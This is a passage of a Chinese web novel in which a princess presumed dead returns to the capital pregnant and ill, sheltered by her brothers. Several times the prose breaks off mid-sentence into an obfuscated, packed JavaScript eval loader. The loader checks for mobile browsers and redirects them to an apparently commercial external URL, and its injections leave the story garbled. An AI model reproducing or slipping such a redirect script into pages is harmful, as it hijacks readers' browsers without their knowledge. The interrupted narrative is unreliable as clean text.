叶岚回想今年在临闾关的半年多时间,她和冷逸尘是过得轻松自在,原来是泽生和叶皓在背后默默地做了这么多。她不禁感叹了一句:“他能有你们这样护着,真好。” 叶皓冷哼一声,恨声地说道:“可他却护不住你。” “可有他的消息?”叶岚眼里闪过淡淡的忧伤。 叶皓摇摇头,说道:“还没有……不要提他了,养好身子。过几日处理完了这里的事情,我们就回京。” 叶岚未语,回去了大概就是永别了。她想到了孩子,现在这般情况,也只有回去才能保证平安。她忍着心痛点点头,又问道:“哥哥想问什么?” 叶皓拧着双眉问:“这两年你都经历了什么?把身体搞得这么劳伤。” 叶岚出神了一会儿,苦笑道:“经历了很多生死别离……大约是上天安排,让我来到了重峪关,又让我回到哥哥身边。” 叶皓见她不愿说,恐勾起她的伤心也不再追问,等她身子好些了再慢慢了解也不晚。 于是他换了个话题:“还有些事情要和你说一下,这两年京中多有变故。三嫂嫂生了个小侄女,是在夏老先生病故的时候生下的……现在她在宜州你外祖家休养。” 这一喜一悲,让叶岚心情更加复杂,皱着眉问道:“姨夫病故了?姐姐怎么不在京中休养?” 叶皓犹豫了一下,还是说道:“三哥娶了侧妃,是杜卫的侄女。” “什么?”叶岚十分震惊,动了一下牵扯到伤口,一阵疼痛。 叶皓忙解释道:“三哥也是无奈,这两年杜家在朝中结党,我与三哥布局对抗,娶侧妃也是权宜之计。” “权宜之计?难道就没有别的方法了吗?”叶岚十分不解。 叶皓叹了口气:“暖暖啊,有些事情是一步赶一步地走到了现在,若有更好的法子,三哥他也不会这样做。这人呐,有时候看似有很多选择,但事实上并没有。” 叶岚心中难受,连带着胸部、胃部十分不适,这一件又一件的事没有一件是顺心。 她忍耐不住,大口地呕吐出来。叶皓忙将她抱进屋里,又命人去请来了郎中诊脉。心中有些后悔与她说了这么多。 郎中诊完脉依旧是皱眉,换了几味更为温和的药方,叮嘱慢慢调理。叶皓便想着速速回京,京中的郎中、医官都最好的,或许还能争取几分希望。 于是他在与祁国的交涉中便做处理一些退让:之前种种过往皆既往不咎,祁国只需将侵占的矿脉尽数还回,按照之前的疆界重新立碑为界。之后又加了一条:若不同意,即刻出兵。 此时重峪关只剩守城将士,若梁国攻打,他们毫无招架之力。这么长时间京中也无旨意,于是重峪关州牧顾全大局,依着崇宁王“和平解决”的意思,同意了梁国和解的要求。 这样,叶岚在函关住了二十日后,便又动身归京。深秋时分,草木凋零,路边只剩下朝颜花攀缘在枯草上,开出一朵朵或蓝色或白色或淡红色的花朵。 车架悠悠,一如两年前去函关送亲一般。一样的时节、一样的天气,不一样的方向、不一样的愁思。 一路上,叶岚肉眼可见的憔悴消瘦。叶皓恐这队伍走得太慢,耽误了她疗疾;又恐这队伍走到太快,颠簸到她的身体。 快到梁京时,遇到了叶均回京,队伍随即停下。 叶皓下马见礼:“三哥,怎么不在京中?” 叶均叹了口气:“孩子没了,我刚从宜州回来。” “什么时候的事?之前不是还好好的吗?”叶皓惊讶不已。 “十日之前。孩子本就早产,身体不健,保全到今日已是不易。”叶均说完脸上有悲戚之色。 “嫂嫂呢?她可还好?”叶皓更担心夏萱,连失亲人,再坚强的人也会承受不住。 “悲伤过度,哭晕了几次。现下已经好些了。”叶均长叹一口气:“天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶皓点头表示确定,然后吩咐道:“此事不得声张,派几个稳妥可靠的人去淡云阁。吩咐厨房炖些补品,再去西城将妇科圣手祝慎之请来,就说是……本王的表妹来京就医。” “是,老奴这就去办。”高顺行礼退下,他知事情隐秘,小心地去安排一切。 叶皓又唤来季萧,命其安排王府巡守事宜。 叶岚归来便无力地躺下了。待鸡汤端来之时,韦素来报:郎中祝慎之已到。 叶皓命侍女准备一下,他亲自去迎祝慎之。侍女放下帷幔,将叶岚的一只手露出来,又用丝帕将她的手覆住。 叶皓边引着祝慎之进来,边将叶岚的情况告知于他。那祝慎之见信王殿下亲自引路,便知此病人关系重大。他不敢怠慢,一路恭敬称是。 待他为叶岚撘过脉,又看了之前的药方后,也是眉头紧锁,一半为此胎的安危,一半为自己的安危。那信王殿下虽未说什么,但他神情严肃,不怒自威,看着满是压迫感。 他小心翼翼地将叶岚的情况阐述了一遍,与在涵关诊断的一样。目前也没有更好的办法,依旧是慢慢调理。他斟酌良久,重新开了一份药方。又叮嘱了平日的饮食禁忌后,便要告退。 高顺付了一笔不小的诊金给他,并感谢道:“有劳祝先生,表小姐此番入京养病,日后难免还要麻烦祝先生。” 祝慎之抱着银子,身子微躬:“好说,好说。” “表小姐贵体欠安,殿下又护妹心切,自然不愿有多打扰,还望先生在外不要多言。”高顺虽和颜悦色,但眼里的明亮像是一把利刃。 祝慎之拿着银子的手已经微微颤抖:“那是自然……额……大人放心,草民自会守口如瓶。” 高顺满意地点了点头,说道:“祝先生慢走……恕不远送。” “留步,留步……”待祝慎之从王府出来后,才发现自己后背已经湿透了。 49. 心事落无痕 自祁国宫变之日算起,叶岚辗转了将近三个月,此时终于算是安定了下来。 晚间叶皓盯着她将药喝完,又仔细叮嘱了侍女舒雁与画眉一番方才回去。 叶岚看着两个侍女,长相都十分秀美。她分不清谁是谁,便问道:“你们谁是画眉?谁是舒雁?” 娇俏一些的侍女抢先笑道:“奴婢是画眉,她是舒雁。” 那个叫舒雁的侍女未语,只是行了一礼。 叶岚赞道:“名字取得不错。” “是殿下亲自取的名字。”画眉又是抢着回答。 “我一会便睡了,你们自去休息吧。”叶岚沐浴一番后,已是十分疲惫。 画眉径直告退,舒雁则检查了窗户后,对叶岚说道:“姑娘身子弱,殿下命奴婢要日夜看守,今晚奴婢在外间,姑娘有事唤奴婢即可。” 叶岚不喜生人,婉拒道:“倒也不必,我睡觉轻,房里有人我睡不安稳。你给我留盏灯即可。” “是,姑娘安歇。”舒雁说罢便也掩了门出去了。 因汤药的作用,叶岚前半夜睡得倒是安稳,后半夜梦里全是冷逸尘。梦里他一身戎装,手中提剑,衣衫带血。 一时惊醒,只听外面风雨大作。她无心睡眠,挑开帷幔,靠着床看着烛光忧思不尽。 她想到程思锦和冷逸凡、想到安如、梧桐和秋雨,她们竟然都不在了。一个个曾经鲜活的生命,都变成了一抔黄土。 想了一圈,忍不住还是想起冷逸尘来。她笑着想他们的承诺和幸福,流着泪想他们的争吵和痛苦。 一想到最后他头也不回地策马离开,便是痛苦与恨意交织。她周身寒意,仿佛坠入深渊。 一番思来想去,又好似什么都没想,反而头痛得厉害。 忽然,她感觉腹部动了一下。这种动与肠道蠕动似乎不一样,难道是孩子在动? 她抚摸着小腹仔细感受。良久,小腹又动了一下,这才确定是胎动。 她又掀开里衣看着小腹,脐下两寸的地方稍微有了一些凸起。真是神奇,竟然有一个小生命正在她的身体里慢慢生长。 胎动让她心下涌起一阵暖流,但她又想到她自身在这个世上没了身份,将来要怎样,也全然不知。 那么,这个孩子要如何来到这世上?以什么样的身份面对世人?想到此处,她心中又是一阵悲伤,抚摸着腹部,一滴泪水从眼角滑落。 不知几时,风停了,雨也停了。又不知几时外面响起洒扫声。接着舒雁的声音响起:“都小些声音,姑娘还未起身。” 烛火不知道什么时候熄灭了,外面天色阴沉,看不出是什么时辰。叶岚披上衣服起身开门。 一股寒气袭来,让她不禁打了个寒颤。抬眼只见庭中落叶满阶、一片湿漉漉。 舒雁见门开了,立即放下手中的盆子,快步走来行了一礼后,扶住她:“姑娘,怎么这么早就醒了?外面凉,进屋吧。” “什么时辰了?”叶岚摸了摸被寒气侵袭的手腕。 “卯时三刻。” “准备梳洗吧。”叶岚边说着边坐到妆台前。 妆台上胭脂水粉、头饰首饰一概全无。舒雁拿了自己的,说道:“回姑娘,高管家并未准备梳妆的用品,姑娘若不嫌弃,先用奴婢的吧。” 叶岚点点头,她也没有精神去装扮,只梳一梳头就好。 此时画眉端水进来,行礼后说道:“奴婢来服侍姑娘梳头吧,用这桂花水梳过的头发又黑又亮。” 舒雁亦赞道:“是啊,姑娘,画眉的手最巧了。”说完将发梳递给了画眉。 “好,简单梳一个就好。”叶岚并不挑剔。 待画眉用梳子蘸了桂花水向叶岚头发梳去时,她只觉桂花的味道令她反胃,忙说道:“桂花的味道太浓郁了,拿走吧。” “是。”舒雁起身将水盆端走,另换了一盆清水来。 不多时,一个精致的发髻便梳完了。叶岚看看镜中的自己的发髻,雅致得体,只是她的憔悴让发髻无半分光彩。 她拔下了发间的珍珠发簪交于画眉,说道:“这些饰品都收起来。”随后捡了两根素簪簪上。 梳洗完毕,众侍女退出后,叶皓便进来:“起得这样早!脸色怎么这么差?住的不习惯?” “没有,昨晚风雨声太大了。”叶岚并未起身,他们兄妹之间自小就没有这些虚礼。 “天气凉了,衣服单薄了些。我没和高顺说是谁来住,首饰衣物都没有准备,一会便着人去置办。这几日我要去交接军务,找父皇述职。三哥派人送来了好些补品,已经吩咐厨房去做了,你要好好吃饭、喝药。” 提及梁帝,叶岚才想起这个父亲,她问道:“父皇……他好吗?” 叶皓叹了口气,面有忧色:“我去燕北看你们时,他生了一场大病,自那时起身体就渐渐不如从前了。等你好些了,我带你去见他。对了,我给师英玉送了请帖,她会过来看你。” “师姐姐也刚刚归来,且让她休息几日吧。” “帖子上没有写定日期,让她自己安排。”叶皓说完,便让舒雁将早膳摆进来。 用完膳后,他唤来高顺,安排采买之事后便匆匆离开了。 叶岚服完药不多时便尽数吐出。舒雁忙要着人去请信王,却被她拦下了。 且说叶皓交代了高顺采买之事,高顺也是犯愁。现下这个状况,信王殿下未婚,公开采买胭脂水粉、衣裳首饰,恐怕会惹好事之人猜测。 六公主秘密归京,身份不能公开。这事着实难办,他思来想去不得要领。 此时,高顺身边的小厮阮孝见管家愁眉不展,心生一计。便笑着开口说道:“大人,小的前几日出门,看见王太傅家的采买,闲聊了几句,才知下个月初是王太傅夫人寿辰。不知咱们府上要不要送些礼物?送些什么礼物合适?” 高顺即刻意会,对阮孝赞许地看了一眼,抚着胡子笑道:“王太傅是殿下的启蒙恩师,师娘寿辰,殿下自然要备一份厚礼。等下我列个单子给你,去账上支银子,这件事就交由你去办吧。” “好嘞,管家放心。小的一定办好此事。”阮孝麻溜地揖了一礼。 高顺叫来舒雁,吩咐她将姑娘需要的东西列清单给阮孝即可。 舒雁回来写了个清单,交由叶岚过目。叶岚没有精神,只说了句:“你看着办吧。” 舒雁又斟酌了一遍才去找阮孝,并叮嘱道:“此事务必要谨慎些。” 阮孝笑嘻嘻地接过清单,说道:“姐姐放心!姑娘一看就不是凡人,殿下宝贝得紧,小的自然……” “休得胡言。”舒雁立即打断他的话,言语间带着告诫:“姑娘身份尊贵,不是你等可非议的。以后这样的话万万不可再说,小心惹祸上身!” 阮孝见舒雁不像是开玩笑的,立马敛了笑容,躬身说道:“瞧我这嘴,以后再不敢说了。多谢姐姐提点。” “快去快回。” “是。”阮孝说完,便一溜烟地跑了。 舒雁看着阮孝这副机灵的样子,隐隐担忧。她十岁入宫,是惠妃一手调教出来到侍女。后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073893|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶皓封王立府,惠妃将她送来打理府务,看中的便是她本分沉稳。 高顺也知舒雁妥帖,此番便派去淡云阁掌事。她原先在宫中时,见过六公主。虽然这么多年过去了,她还是一眼就认出,信王带回的姑娘就是六公主。 画眉等人此前的想法便和阮孝一样,但被舒雁打消压制了。淡云轩里没有传出一点闲言俗语,多半有舒雁的功劳。 未及午时,师英玉到。进门就抱怨:“在京中真是麻烦,想来看你,还要写拜帖。还不能直接写给你,要写给殿下,又不知要写个什么理由。幸好殿下送来请帖来。” 她见叶岚梳妆整齐,慵懒间难掩贵气。满意的说道:“嗯,这才是公主该有的样子嘛。” 叶岚听到“公主”二字,不觉四下看了看。 师英玉自觉失言了,便压低了声音:“唉!我忘了这里是京城……你脸色怎么这么差。” 此时画眉奉茶进来,她问道:“她的药可喝了?” 画眉蹙着眉回答:“回师姑娘,晨起姑娘就精神不济,早饭未用多少,喝完药后又全吐了。” “不吃东西怎么行?快去安排午膳,把药也煎上。” 叶岚一脸无奈:“早知你是来看着我吃饭吃药了,就不让你进门了。” “你不吃饭,我的干女儿还要吃饭呢。”师英玉说着坐到叶岚旁边,俯身去听肚子。 胎儿已经快四个月了,可叶岚的腰身依旧纤细,全然看不出有孕的样子。 她向后靠了靠,稍稍抬了一下肚子:“我倒希望它是个男孩。以后就可以去看看广阔天地了。” “女孩子也可以。”师英玉不同意她的说法。 “你也不在家陪陪伯父伯母,就赶来看我,难为你了。”叶岚有些过意不去。 “他们回乡丁忧,不在京中,家里就我一个人,没有意思。”师英玉没有听到胎动,有些失落。 “对了,你怎么没去朝中述职?” “我虽然在军中挂职,但在朝廷里是没有品级的。你希望这孩子是个男孩,也是对的,这世道,只有男子才能去做自己想做的事。得意时高官厚禄,失意时漂泊江湖。”这本是一件不公平的事,但师英玉说但时候不见半点失落。 叶岚很是佩服她这种坦荡。忽而她感到到了胎动,拉起师英玉的手抚上了小腹。胎儿又动了一下,二人高兴起来。 师英玉对着肚子说道:“你是不是饿了呀,以会让你阿娘多吃一些!” 叶岚只感觉好笑,孩子都还没有成行,怎么可能听得懂。她心情转好,午膳便多用了半碗饭。 饭后,画眉奉上药,她一饮而尽:“大约是日子过得太苦了,反倒觉得这药有些甜。以前在祁国喝的补药,都是奇苦无比。” 她记起在祁国时,皇后赐的药实在是难以下咽。煎药时,满院子都是苦味。 师英玉有些疑惑:“怎么会?寒凉祛火的药都是苦的,温补的药并没有这么苦。我母亲体弱,常年温补,吃的药是甘的;弟弟年幼阴虚火旺,吃的药就是苦的。你喝的必定是大寒之药。不过,女子本就体寒,你怎么会喝这样的药?” 叶岚仔细回忆那段时间的事,忽然明白了。当时应是祁后有意为难自己,冷逸尘知道内情。他借故调走素蕊,是为了保护她。 她两年未孕,想必也是服药的缘故。祁后以她无所出为由,想为冷逸尘纳侧妃,也是早就预谋好了的。 叶岚自嘲一笑,自己竟然将日子过得这般稀里糊涂。 她闭眼低喃:“被人算计罢了。” 50. 病骨朱颜瘦 师英玉听了,以为她在祁国有过宅院争斗,便气愤地说道:“原来那崇宁王待你这般不好,任由别人欺负你。” “不是他……”叶岚目光黯淡下去,刚才那点开心也随之消散。 “你呀,还为他辩驳,他不一定还想着你,不然怎么这么久都不给你个消息。”师英玉看着她有些失落,又转了话题:“唉!你看我,口无遮拦的,又让你伤心了。” 叶岚摇了摇头:“没什么,都过去了……” “这倒是。”师英玉向前凑了凑:“五公主的事,你听说了吗?” 五公主,叶朝雨。好久没听人提起过她了,上次是听叶皓说她已成婚了。她不知何事:“五姐姐,她怎么了?” 师英玉拿起一块白玉糕,边吃边说道:“我也是才听家里的侍女说的。五公主的驸马空有一副好皮囊,却是个风流人物。我朝驸马不准纳妾,他便一个又一个地找外室。二人日日吵架,弄得公主府里鸡飞狗跳。前些日子,驸马的新外室被公主发现,原也不是什么大事,只是这外室是船妓出身。公主一怒之下,搬回宫中居住,扬言要和离。这可吓坏了驸马,赶紧打发了外室,日日去宫里赔罪。至今,五公主还在宫里住着。” “驸马的确是过分了。我听哥哥说,五姐姐当初是为了驸马,才与周家退婚的。”叶岚也好奇,既然是两情相悦,怎会到如此地步。 “是太过分了!还不如当初选周家的。”话至此处,师英玉并没有半点不自在,她与周家定亲退亲,皆从世间礼法,没有半点逾矩。故而她能坦然面对,无所顾忌。 她家的侍女留意此事,皆因师家与周家有过这段过往。而师英玉只当八卦来听听。 二人正说着,舒雁带人端着采买的东西进来,一一给二人过目。 师英玉看后笑道:“东西都是好东西,只是这些更适合上了年纪的人。看着衣服的款式、颜色,等你庆八十大寿时再穿也不迟啊。” 送衣服来的管事侍女听完此言,脸上一阵青一阵白,不知该如何给管家回话儿。 叶岚倒未在意,笑着道:“哪有那样夸张,我是不拘什么颜色都可以的。”然后转头对送衣服来的侍女说道:“你回去吧,告诉管家,衣服很合身。” 管事侍女这才安心告退。 师英玉拿着胭脂盒在手上试着颜色,十分不满:“已经回来了,不必这样委屈自己。” “没有,只是没有精神去挑这些。或者因为小事惹出些闲言碎语来,岂不是更麻烦。”叶岚手揉了揉头,身体沉沉,只觉倦怠。 师英玉心中有了主意,起身说道:“你且休息吧,我回去了,过两日再来看你。” 叶岚只送她到门口,便回到床上,不多时就入睡了。 不知过了几时,叶岚听见舒雁的声音。她醒来看看天色,一直阴阴沉沉,看不出是什么时辰,便问道:“我睡了多久?” “姑娘睡了快两个时辰了。奴婢怕姑娘晚间失眠,便私自做主叫醒了姑娘。” “好些时日没有睡得这样安稳了。”叶岚边起身边说道:“帮我整理一下发髻吧。” “是,姑娘晚膳想用些什么?叫奴婢厨房准备。”舒雁拿梳子为她整理发髻。 “不必了,午膳进了不少,这时候还不饿,也没什么胃口。” “姑娘晚上还要喝药,好歹吃些东西,免得胃痛。” “那就上碗粥吧,药晚一些再喝。”叶岚一闻药味便觉得反胃,十分不愿再喝。 “姑娘……”舒雁有些担忧,但无奈只得听从。 此后的日子,叶皓因在朝中交接,一直没有回来。师英玉也没有来。如此,叶岚浑浑噩噩地过了两日。 第三日,舒雁看着日益倦怠的叶岚,便提议去花园散散步。叶岚也觉得闷了些,便同意了。 这两日天气有些回温,临近午时的太阳很好。她披了件厚实的披风,带着舒雁和画眉出了淡云阁。 王府中翠竹掩映、花影转阶,穿廊过门,走了三四折。一路上除了打理花草的老妇,再未见其它人。叶岚不禁问道:“府里的人怎么这么少?” 画眉回答道:“回姑娘,殿下常年在外,用不了那么多人,高管家只留了洒扫的侍女。姑娘来后,人都被调去了淡云阁。殿下怕姑娘吃不好,还特意从三元楼请了厨子来。殿下为姑娘真是用心了……” “画眉,姑娘手凉,去为姑娘拿个手炉来。”舒雁言语中带了些不悦。 突然被打断,画眉有些不快,撅着嘴行了一礼后去拿手炉了。 舒雁见画眉走远后,对叶岚说道:“姑娘莫怪,姑娘金枝玉叶,如此安排也只怕会委屈姑娘。” 如此隐晦的对话了,让叶岚觉得费神。的确,信王府还没有女主人,信王突然带一有孕的女子回来,不知会有多少流言蜚语。 她大难未死,却没了身份名目,以后将如何立于这世间?想到这里她不由得叹了口气。 舒雁见她叹气,眼中似有哀伤,于是试探性地叫了一声:“六公主……” 叶岚步子一顿,带着些惊讶问道:“你知道?” 舒雁行了宫中之礼:“奴婢是原是惠妃娘娘身边的侍女,在宫中时见过六公主。” 在宫里见过,那应该是好多年前的事了,那时她只是一个不受宠的六公主。她叹息道:“已经很久没有人这样叫我了……” “六公主,画眉不知道实情,还请公主不要怪罪。”舒雁替画眉求情。 “不知者无罪。怪不得你身上的端庄持重非他人可比,原来是宫中出来的。”叶岚打量了一眼舒雁后,继续向前走:“以后还是叫我姑娘吧,六公主早就不在了。” “是,但在奴婢眼中,公主永远是公主。”舒雁跟上,轻轻扶住她。 叶岚一笑未语,沿着小路慢慢走着。上一次到这王府,是什么时候来着?她记不清了。只记得在这里,她曾问替云琴问过秦羽的心意,如今却是物是人非事事休。 来到水榭,上题“揽月”二字。她心中不禁笑话叶皓,净喜欢这些风雅的酸词。她依着栏杆坐下,看着池中鱼儿。鱼儿见了人影,便都游了过来。舒雁奉上鱼粮,她一点点喂着。 不多时,画眉抱着手炉来,同来的还有师英玉,她一进水榭就笑道:“去淡云阁没看到你,原来是到这喂鱼来了。” “你几日不来看我,我自己一个人没有意思,便出来走走。”叶岚将鱼食交给舒雁,擦了擦手,接过暖炉。 “呦,还怪我喽?不过出来散散心总比闷在院子里好些。先跟我回去,看我给你带什么东西来了。”师英玉说完,便拉着叶岚回到了淡云阁。 一路上师英玉步子大,叶岚紧紧跟着,到寝殿时,已是气喘吁吁。只见屋子正中央摆着一大一小两箱子。 师英玉命人打开,大箱子里面装的是冬装,都是时下流行的颜色和款式;小箱子里装的是胭脂水粉和梳妆用品。 叶岚已没有力气坐起来看,师英玉便让侍女一件件给她展示。 “怎么样?这几日我可是跑遍了京中的大小衣铺,咱俩身量不多,但你比我瘦一些。我试着合适你就能穿。你身子不方便,不然我一定要你和我一起去了。”师英玉拿了一件衣服在自己身上比量着。 “多谢你这么有心,特意为我奔波。这么多,我哪里穿得过来。”叶岚对舒雁招手,让她将衣服拿过来细看。 “跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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师英玉急忙伸手去接住了她,叫道:“暖暖,暖暖,来人……”说着将她抱到了床上。 侍女们皆围了过来,画眉慌乱地跪脚踏上摇着叶岚的胳膊,呼唤着:“姑娘,醒醒,姑娘……” 舒雁虽惊慌,但却有条理,立即安排人去找高管家。高顺一面派人去请祝慎之,一面派人去告知信王殿下。 过了好一会,叶岚悠悠转醒。 师英玉给她喂了一些水,说道:“真是吓死人了,已经去请郎中了,你躺着不要动。” 叶岚点点头,她只觉头晕目眩,身上没有半点力气。 半个时辰后,叶皓领着祝慎之也匆匆赶到。来不及讲究虚礼,祝慎之细细地为叶岚搭了脉。 期间画眉将事情经过告知了叶皓。 把脉完毕,祝慎之说道:“表小姐需好生将养,按时服药。请殿下随草民去开药方。” 叶皓知他有话不便说,便跟着他来到院子里。祝慎之小声道:“殿下,恕草民直言,表小姐一直身体亏空、郁结于心,胎儿全赖这温补之药续力。但月份渐大,需要的更多的荣养,只是表小姐这个身子……到时候只恐……大人孩子都……。”他说这话时不由得用余光看了看叶皓。 “你的意思是……”叶皓眉头紧锁,脸色逐渐变得阴郁。 这声音吓得祝慎之一身冷汗,便不敢将他的方案说出,只哆哆嗦嗦地说道:“草民医术不精……” 叶皓向屋内看了看,心中叹了口气:“想办法保母子平安,去开药方吧。” 祝慎之甚是为难,无奈地揖了一礼,自去开药方了。 还未及叶皓进屋,韦素引着叶均过来。他问道:“见你走得匆忙,猜测是暖暖出事了,就赶过来了。她怎么样了?” “已经醒了,情况不太好,孩子可能……”叶皓忧心难掩,没有继续说下去。 “我去看看他。”叶均说完便朝屋内走去。 叶皓拉了一下他的胳膊说道:“她还不知道,你进去什么也别说,一会去书房我再和你细说。” 叶均意会。 51. 曲解隐患生 待叶均和叶皓进来时,叶岚已经能坐起身来,舒雁见他二人进来,行礼后带一众侍女出去。 叶岚看着二人的焦虑,有些歉意:“有劳哥哥们为我如此费心了。” “说的什么话,你只需好好养身子,其余的不用担心。”叶均说完转向师英玉,说道:“这位便是师小将军吧,久闻小将军威名。” 师英玉对叶均抱拳行礼:“成王殿下过誉了。” 叶均继续说道:“这段日子,我与信王不在,有劳小将军了。” “在下与公主一见如故,殿下不必客气。既然二位殿下已归来,在下就先告辞了。”说罢,她朝叶岚点头示意后离开了。 此时房中只剩下兄妹三人。 叶均细细打量了叶岚,面色枯黄,身形瘦削,不由得说道:“暖暖,你受苦了。” 叶皓皱着眉对叶岚说道:“暖暖,这几日你的饮食用药,画眉已经和我说过了。饭不想吃便不吃,药不想喝便不喝。你这孩子还想不想要了?可知你和腹中的孩子的命,是用了多少天材地宝才救回来的?” 叶岚刚醒来就听到批评,心中自是不悦,只说了一句:“我自己的身体我自己知道。”说罢头一扭不再看他们。 叶皓见她这般样子,也是气恼,说道:“你怎可这般任性……” 叶均打断了叶皓的话:“好了,别说了,你们两个还是小孩子吗?怎么一见面就吵。阿皓,你去看看她的药煎好了没有。” 叶皓无奈地摇了摇头出去了。 叶均说道:“暖暖,莫怪你四哥生气,你如今的身子的确是太差了,万一有个好歹怎么办。昭阳公主已经死在了重峪关城楼上,这个事实很多人都看到了。以后就留在家里,不要回去了,我们会想办法给你安排个新的身份。” 叶岚木木地听着,听到“安排一个新身份”这几个字后胸口一紧,连带着伤口疼了起来。她双手捂住胸口,想问问冷逸尘会怎样,可又想起来哥哥怎么会知道。于是问也不是,不问又不甘心,只低声说道:“他……怎样了?” “他?”叶均愣了一下,随即反应过来,说道:“哦,你是说孩子的父亲。他弃你而去,你还惦记着他吗?现在祁国情况不明,已经一个多月过去了,那边还没有给出任何说法和解释。就是新帝登基,祁国也没有派使者来告知,估计现在他们的内阁乱得很。” 叶岚点头。 “你的身体情况,他们虽未和你明说,你自己心里应该有个底,之前的金疮药是对孩子有影响的,如今靠着药能保下来已是不易,你自己要小心,不要多想以后的事情,一切有我们。养好身体,把孩子生下来,不要再让他受颠沛流离之苦。” 叶岚已是眼角溢泪,如今她也没什么选择,说道:“哥哥已经为我安排好了,我自会好好的。” 叶均看着叶岚服药休息后,才出了淡云阁去书房找叶皓。 叶皓:“三哥,一会儿你可要回府去?” 叶均叹了一口气说道:“如今,我最不想回的地方就是王府。” 叶皓仿佛抓了机会,说道:“那正好,我从边关带了几坛好酒过来,咱俩大醉一场。” 叶均:“也罢,我这几日劳累得很,先在你这里休息会,今晚一醉方休。” 是夜,二人喝得酣畅淋漓,酩酊大醉,次日上三竿,二人方才醒酒,简单用过早膳后,二人与书房对弈,边商议叶岚的事。 叶皓说道:“昨日祝郎中说暖暖身体太差,此胎难保。” 叶均:“她倒是很看重这个孩子。” 叶皓恨恨地说道:“不知道她是怎么想的,每日忧心忡忡的,若真看中这个孩子,就该好好养身子。” 叶均叹了口气:“她不是男子,经历此如此生离死别,能挺过来已然不易了,你以后也注意些言行,不要再伤她。这些日子我一直在想,既然她回来了,就不要再去祁国了,早知会是今日这般情况,去年你去祁国的时候就应该想办法把她带回来。” 叶皓:“去年我也动过这个念头,可那时她夫妻二人情深意浓,是不会回来的。” 叶均:“真是孽缘……给暖暖安排身份的事。按你之前说的,安排她是你表妹,我觉得不妥。暖暖终究还是皇家血脉,是要姓叶的。” 他说完喝了一口茶后继续说道:“我想起一件事来,我小时候在宫里听到的流言,说王叔有一妾室有孕,婶婶妒忌,趁王叔不在京中,竟将那小妾赶出了府。王叔归来后气得旧疾复发,还未等找到那母子二人,便过世了。此事当年传得沸沸扬扬,我觉得可以在此处做做文章。” 叶皓拿着棋子问道:“三哥的意思是可以给暖暖安排成王叔遗腹子?” 叶均:“对,只是其中细节曲折,证人证物还需好好安排一番。” “人证物证,这件事我来办吧。”叶皓想了一下又说道:“将来暖暖的孩子生下来,该如何自处,毕竟……他是祁国血脉……” 叶均毫不犹豫地说道:“他也是叶家的孩子,与旁人无关,生下来以后就养在你嫂嫂身边,我就是他的父亲,看有谁敢说什么?” 这个孩子对叶皓来说不同于旁人,他是外甥是子侄,他担心孩子的身份在梁国难以立足,担心将来会惹人非议,如今有叶均这番话他便放心了。“如此甚好,多谢三哥。” 叶均抬头看了他一眼,疑惑更甚:“你谢什么? 叶皓未语喝了口水,掩饰了情绪。 叶均:“倒是你,已封王立府,过了及冠之年,什么时候娶正妃?” 一说到“正妃”二字,叶皓竟想到了锦瑟,他自己都疑惑为什么会想到她。他搪塞道:“看缘分吧……该你了,快点……” 叶均也不追问,将手中一子落下。 此时,韦素来报,成王侧妃在外等候,身体突然不适,回府去了。 成王侧妃杜兰芳,杜卫侄女,家中独女。 杜家的目标人选本是叶铭。叶铭是嫡长子,且性情软弱,是傀儡的好人选,所以当初杜家拉拢叶铭,刺杀叶皓并嫁祸于叶均,但叶铭不愿涉政事,始终不与杜家合作。 后有叶皓巡视海防被叶均派人行刺一事,杜家遂改了计划,转向叶均示好,荣贵妃一力促成了杜兰芳与叶均的婚事。 成婚后,杜兰芳知晓正妃夏萱平民出身,便仗着娘家权势,三天两头找夏萱麻烦,彼时夏萱已有两月身孕,胎气未稳,没有精力也不愿与她周旋,便借父养病为由,带着父母及一双儿女回外祖家去了。 杜兰芳原以为她走之后,便能拢住叶均。但叶均却依旧对她不冷不热,以礼相待,她招数用尽,也未得叶均的心,反而让叶均渐渐不愿回府了。 此番叶均归京,以述职为由未回府,且与信王来往甚密,杜兰芳知他兄弟二人不和,可叶均宁可去信王府上住,也不愿回来,当即大怒,气冲冲地坐了软轿直奔信王府而来。 路上,身边的常嬷嬷劝道:“王妃,两位殿下再不和,也是亲兄弟,兄长去弟弟家借宿也无有不妥,王妃去了不要动怒,只说许久未见信王殿下,听闻成王殿下也在府中,便过来向信王殿下问安,顺便接成王殿下回家。” 杜兰芳也不愿在外人面前闹得难堪,便只得耐着性子答应了。 到了信王府,接待的侍女说道:“两位殿下在书房有事商议,请侧妃在前厅稍等,容奴婢去通报”。 常嬷嬷却说道:“无妨,想必两位殿下是有重要的事,不必去相扰,我们在此等候便可。” 一盏茶后二人未现身,杜兰芳等得有些不耐烦了,常嬷嬷小声劝道:“王妃耐心些,不要再惹怒了殿下。” “在这坐的腿都麻了,我想出去走走。”于是她对侍女说道:“听闻你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杜兰芳自是不服,转身出了花园朝叶皓书房的方向走去,常嬷嬷也不好强制她,便也快步跟上,她不识得路,摸索着竟来到了书房的后面,只听得里面隐隐约约传来叶均的声音:“……我就是他的父亲,看谁敢说什么……” 